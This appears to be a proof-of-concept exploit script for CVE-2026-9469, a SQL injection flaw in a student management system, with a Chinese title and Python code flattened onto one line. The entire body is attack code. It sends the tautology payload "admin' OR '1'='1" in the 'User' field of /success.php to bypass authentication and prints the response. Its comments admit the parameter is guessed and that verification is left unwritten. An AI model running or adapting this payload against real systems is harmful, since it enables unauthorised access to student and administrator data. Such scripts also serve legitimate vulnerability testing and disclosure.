CVE-2026-9469 StudentManagementSystem SQL注入漏洞

import requests def check_sqli(url): """ Proof of Concept for CVE-2026-9469 Tests for SQL Injection in the 'User' parameter of /success.php """ target = f"{url}/success.php" # Payload based on boolean-based SQL injection # Assuming the parameter is passed via POST data based on common forms in student systems payload = { "User": "admin' OR '1'='1" } try: response = requests.post(target, data=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for anomalies.") print(f"[+] Response Length: {len(response.text)}") # Further logic to verify injection based on response content would go here else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target host target_host = "http://localhost" check_sqli(target_host)